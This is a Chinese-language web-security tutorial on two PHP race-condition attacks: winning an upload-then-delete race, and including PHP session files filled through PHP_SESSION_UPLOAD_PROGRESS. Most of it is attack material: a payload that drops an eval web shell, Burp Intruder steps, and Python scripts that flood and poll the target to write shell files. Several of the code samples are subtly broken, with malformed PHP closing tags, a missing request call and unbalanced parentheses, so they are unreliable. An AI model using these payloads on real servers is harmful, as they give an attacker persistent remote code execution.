⽂件上传之条件竞争测试demo:
<html>
<body>
<form action="" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file"/>
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
<?php
if (!empty($_FILES)) {
move_uploaded_file($_FILES['file']['tmp_name'],$_FILES['file']['name']);
unlink($_FILES['file']['name']);
}
>
shell⽂件内容:
<?PHP
echo md5(1);
fputs(fopen('shell6666.php','w'),'<?php @eval($_POST[1])?>');
>
⼀直访问上传⽂件的py脚本:
# coding:utf-8
import requests
def main():
i=0
while 1:
try:
print(i,end='\r')
a = ("aaa.io/sssss.php")
if "c4ca4238a0b923820dcc509a6f75849b" :
print("OK")
break
except Exception as e:
pass
i+=1
if __name__ == '__main__':
main()
其中的c4ca4238a0b923820dcc509a6f75849b = md5(1)
burp设置:->发送到Intrudermo模块->
然后同时运⾏我们的py脚本,和开启burp爆破,顺序⽆所谓,差不多挨着时间开启即可。
另⼀个和session⽂件进⾏竞争
demo:
<?php
if (isset($_GET['file'])) {
include './' . $_GET['file'];
}
这种情况在我们没办法上传⽂件的时候,怎么利⽤呢?那就是包含session⽂件。
我们知道控制session开启的函数session_start(),当没有使⽤函数的时候怎么办呢?
session下存在upload_progress属性,⽤来记录⽂件上传进度,并且默认是开启状态。
也就是当我们的POST数据包中存在PHP_SESSION_UPLOAD_PROGRESS字段的时候,⽆需调⽤session_start()函数,也可初始化session。但是默认会在结尾进⾏清除,所以我们需要利⽤条件竞争。
证明的demo:1.php
<html>
<body>
<form action="" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="text" name="PHP_SESSION_UPLOAD_PROGRESS" value="888"/>
<input type="file" name="file"/>
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
<?php
> 
注意:<input type="text" name="PHP_SESSION_UPLOAD_PROGRESS" value="888"/>⼀定要在<input type="file" name="file"/>前⾯,不然没办法控制⽣成的session⽂件名。
漏洞利⽤脚本:
import io
import requests
import threading
sessid = 'ph1'
def t1(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
'localhost/2.php',
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?=file_put_contents("shell123.php","<?=phpinfo();?>")?>'},
files={'file': ('a.txt', f)},
cookies={'PHPSESSID': sessid}
)
def t2(session):
while True:
response = (f'localhost/2.php?file=../Extensions/tmp/tmp/sess_{sessid}')
)
with requests.session() as session:
t1 = threading.Thread(target=t1, args=(session, ))
t1.daemon = True
t1.start()
t2(session)
inputtypefile不上传文件修改对应的访问路径,和 session⽂件路径,即可。成功后⽣成shell123.php⽂件。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。